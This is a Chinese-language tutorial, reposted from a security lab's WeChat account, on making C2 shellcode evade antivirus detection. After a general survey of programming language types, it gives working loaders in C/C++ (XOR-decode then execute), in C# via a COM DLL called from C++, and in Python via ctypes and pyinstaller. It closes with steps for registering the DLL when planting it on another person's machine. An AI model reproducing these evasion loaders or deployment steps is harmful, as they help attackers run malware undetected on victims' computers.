1.什么語言適合做C2工具的免殺
首先我們需要了解一下編程語言的分類,大致可以分為以下幾種.
1.低級語言
機器語言(二進制代碼)、匯編語言(面向機器的程序設計語言)和符號語言。匯編語言源程序必須經過匯編,生成目標文件,然后執行。
機器語言優缺點如下:
優點:直接執行,速度快,資源占用少。
缺點:可讀性、可移植性差,編程繁雜;
匯編語言優缺點如下:
優點:能夠保持機器語言的一致性,直接、簡捷,并能像機器指令一樣訪問、控制計算機的各種硬件設備,如磁盤、存儲器、CPU、I/O端口等。使用匯編語言,可以訪問所有能夠被訪問的軟、硬件資源,目標代碼簡短,占用內存少,執行速度快。
缺點:不同的處理器有不同的匯編語言語法和編譯器,編譯的程序無法在不同的處理器上執行,缺乏可移植性,難于從匯編語言代碼上理解程序設計意圖,可維護性差,即使是完成簡單的工作也需要大量的匯編語言代碼,很容易產生bug,難于調試,使用匯編語言必須對某種處理器非常了解,而且只能針對特定的體系結構和處理器進行優化,開發效率很低,周期長且單調。
2.高級語言
BASIC(True basic、Qbasic、Virtual Basic)、C、C++、PASCAL、FORTRAN、智能化語言(LISP、Prolog)、動態 語言(Python、PHP、Ruby、Lua)等等。高級語言源程序可以用解釋、編譯兩種方式執行。通常用后一種。我們使用的C語言就是使用的后者。
高級語言的優缺點如下:
優點:高級語言接近算法語言,易學、易掌握,級語言為程序員提供了結構化程序設計的環境和工具,使得設計出來的程序可讀性好,可維護性強,可靠性高;高級語言遠離機器語言,與具體的計算機硬件關系不大,可移植性好,重用率高;由于把繁雜瑣碎的事務交給了編譯程序去做,所以自動化程度高,開發周期短,且程序員得到解脫,可以集中時間和精力去從事對于他們來說更為重要的創造性勞動,以提高程序的質量。
缺點:運行速度基本上比直接用匯編寫的慢,速度和程序大小與編譯軟件有關。
按轉換方式可分為三類:① 編譯型語言; ② 解釋型語言;③ 混合型語言。
計算機不能直接的理解高級語言,只能直接理解機器語言,所以必須要把高級語言翻譯成機器語言,計算機才能執行高級語言的編寫的程序。翻譯的方式有兩種,一個是編譯,一個是解釋。兩種方式只是翻譯的時間不同。
編譯型語言
需通過編譯器(compiler)將源代碼編譯成機器碼,之后才能執行的語言。一般需經過編譯(compile)、鏈接(linker)這兩個步驟。編譯是把源代碼編譯成機器碼,鏈接是把各個模塊的機器碼和依賴庫串連起來生成可執行文件。編譯和執行是分開的,但是不能跨平臺。
優點:編譯器一般會有預編譯的過程對代碼進行優化。因為編譯只做一次,運行時不需要編譯,所以編譯型語言的程序執行效率高。可以脫離語言環境獨立運行。
缺點:編譯之后如果需要修改就需要整個模塊重新編譯。編譯的時候根據對應的運行環境生成機器碼,不同的操作系統之間移植就會有問題,需要根據運行的操作系統環境編譯不同的可執行文件。
代表語言:C、C++、Pascal、Object-C、swift等。
解釋型語言
解釋性語言的程序不需要編譯,相比編譯型語言省了道工序,解釋性語言在運行程序的時候才逐行翻譯。每一個語句都是執行的時候才能翻譯。這樣解釋性語言每執行一次要翻譯一次,效率表較低。
優點:有良好的平臺兼容性,在任何環境中都可以運行,前提是安裝了解釋器(虛擬機)。靈活,修改代碼的時候直接修改就可以,可以快速部署,不用停機維護。
缺點:每次運行的時候都要解釋一遍,性能上不如編譯型語言。
代表語言:JavaScript、Python、Erlang、PHP、Perl、Ruby等。
混合型語言
混合型語言也叫半編譯型語言。比如java、C#,C#在編譯的時候不是直接編譯成機器碼而是中間碼,.NET平臺提供了 中間語言運行庫運行中間碼,中間語言運行庫類似于Java虛擬機。.net在編譯成IL代碼后,保存在dll中,首次運行時由JIT在編譯成機器碼緩存在內存中,下次直接執行。
java解釋器采用生成與系統無關的字節代碼指令技術。也就是說,在任何不同的操作系統上,只要正確安裝了java運行系統,就有了編寫調試java程序的平臺,在分布式應用中,java的這個特點使同一個java程序能在不同的系統上運行,從而提高了軟件生產效率。可移植性是跨平臺特性的一個延伸,即具有了跨平臺性,就保證了可移植性。java程序、java類庫、java編譯器、java系統都具有可移植性。
另外有一個特殊的情況,正常情況下JavaScript屬于解釋性語言,V8引擎是被設計用來提高網頁瀏覽器內部JavaScript執行的性能,為了提高性能,v8會把js代碼轉換為高效的機器碼,而不在是依賴于解釋器去執行。v8引入了JIT在運行 時把js代碼進行轉換為機器碼。這里的主要區別在于V8不生成字節碼或任何中間代碼。這里的特殊之處在于JIT做代碼優化(同時生成編譯版本);解釋型語言無法做到這些。
3.結論
綜上所述我們基本是所有語言都可以對軟件進行免殺,那么這里推薦幾個語言 C/C++/C#/PYTHON/GO 這里我們會針對這些進行免殺的測試,為什么這里混合型語言選擇C#而不是JAVA 因為C#的.Net Framework環境在win7以上機器上已經存在了只不過是版本不同,而Java的解釋器環境就不是了,而且很大,這樣我們就不是很容易的植入對方機器,從而不是很容易執行我們自身程序.
2.C/C++對ShellCode免殺
1.原理
用C/C++對ShellCode進行異或加密 在執行
2.代碼實現
#include#include // 異或22的ShellCode 自己的SellCode uint8_tcode[933] = { 0}; intmain() { for(auto& value : code) { value ^= 22; } DWORD old; VirtualProtect(&code, sizeofcode, PAGE_EXECUTE_READWRITE, &old); ((void(*)()) & code)(); return0; }
3.效果
3.C++ and C# 對ShellCode進行免殺
1.原理
使用COM組件 用C++調用C# DLL進行免殺
2.代碼實現
選擇類庫 .NET Framework 創建一個類庫項目
usingSystem; usingSystem.Collections; usingSystem.Collections.Generic; usingSystem.Linq; usingSystem.Net.Http; usingSystem.Reflection; usingSystem.Runtime.InteropServices; usingSystem.Text; usingSystem.Threading.Tasks; namespaceClassLibrary1 { [Guid("75A14A5E-968D-4140-A8BA-746DFBAFE408")] publicinterfaceIClass1 { [DispId(1)] voidExeSellCode(IntPtr shellCodeAddr, intlen); } delegatevoidExeCall(); publicclassClass1: IClass1 { publicvoidExeSellCode(IntPtr shellCodeAddr, intlen) { IntPtr intPtr = IntPtr.Zero; VirtualProtect(shellCodeAddr, len, 0x40, outintPtr); ExeCall call =(ExeCall)(Marshal.GetDelegateForFunctionPointer(shellCodeAddr, typeof(ExeCall))); call.DynamicInvoke(); } [DllImport("kernel32.dll")] staticexternboolVirtualProtect(IntPtr lpAddress, Int64 dwSize, uintflNewProtect, outIntPtr lpflOldProtect); } }
#include#import "ClassLibrary1.tlb" using namespace ClassLibrary1; uint8_t code[933] = { ShellCode }; voidExeSellCode(longlongshellCodeAddr, intlen) { CoInitialize(nullptr); ClassLibrary1::IClass1Ptr ptr(__uuidof(Class1)); ptr->ExeSellCode((longlong)shellCodeAddr, len); ptr->Release(); CoUninitialize(); } intmain() { for(auto& value : code) { value ^= 22; } ExeSellCode((longlong)&code, sizeof(code)); return0; }
3.效果
4.Python對ShllCode進行免殺
1.原理
Python寫完之后 可以通過CPython 進行打包成二進制文件直接運行,體積較大.
2.代碼實現
importctypes defmain(): # length: 933 bytes buf = b"Python ShellCode xff" shellcode = bytearray(buf) size = len(shellcode) kernel32 = ctypes.windll.kernel32 kernel32.VirtualAlloc.restype = ctypes.c_uint64 MEM_COMMIT = 0x00001000 PAGE_EXECUTE_READWRITE = 0x40 # 申請內存空間 ptr = kernel32.VirtualAlloc( ctypes.c_int(0), # 基址可以填0, 但是數據類型需要轉換 ctypes.c_int(size), # 設置堆棧大小 ctypes.c_int(MEM_COMMIT), # 提交到物理內存 ctypes.c_int(PAGE_EXECUTE_READWRITE) # 設置權限為可讀可寫可執行 ) # 把shellcode放入緩沖區 buf = (ctypes.c_char * size).from_buffer(shellcode) kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), # 申請的內存 buf, # shellcode ctypes.c_int(size) # 移動的數據大小 ) # 創建線程調用shellcode hThread = kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), # 利用線程函數調用shellcode ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)) # 線程id為指針類型, 需要傳入地址, 所以用ctypes.pointer ) # 等待線程執行完畢, 關閉程序 # INIFITE在c的設定中值為: -1 kernel32.WaitForSingleObject(ctypes.c_int(hThread), ctypes.c_int(-1)) if__name__ == '__main__': main()
需要打包成exe
pip install pyinstaller -> pyinstaller -F .main.py --noconsole
3.效果
可以正常上線
6.總結
1.文字總結
綜上所述,我們可以看到的是對于ShellCode異或之后目前測試的只有Python可上線,但是并不代表最好用Python來寫,恰恰相反我們基本不會去用Python,因為生成的文件大,剛剛生成的大概為8M左右,不利于我們植入到(敵軍)電腦.
這里只是介紹了可以用不同語言去來執行上線ShellCode,當然效果也肯定是有所不同的,其他語言還需要自己去測試,不過目前效果很好的有GO,C++還算不錯,剩下的就靠你們聰明的大腦去想了.
語言并不能對免殺起到關鍵的作用,最主要的還是一些稀奇古怪的思路和方法,在今后的帖子里面將會持續更新相關內容.
2.注意點
C# 和 C++里面需要注意的點 C# 類庫要生成COM
這樣會自動在系統里注冊dll 如果需要植入到別人電腦里面 需要先將dll加入緩沖區在注冊
gacutil /i DLL路徑 將這個DLL加入的全局緩存里
regasm DLL路徑 注冊這個dll
Python注意點
需要將python文件生成可執行文件,如果不想生成可執行文件,也可以將Python環境打包到對方環境然后直接Python腳本。
審核編輯:劉清
-
處理器
+關注
關注
68文章
19169瀏覽量
229163 -
編程語言
+關注
關注
10文章
1939瀏覽量
34602 -
匯編語言
+關注
關注
14文章
409瀏覽量
35742 -
機器語言
+關注
關注
0文章
35瀏覽量
10745
原文標題:免殺技術之語言免殺
文章出處:【微信號:蛇矛實驗室,微信公眾號:蛇矛實驗室】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
相關推薦
評論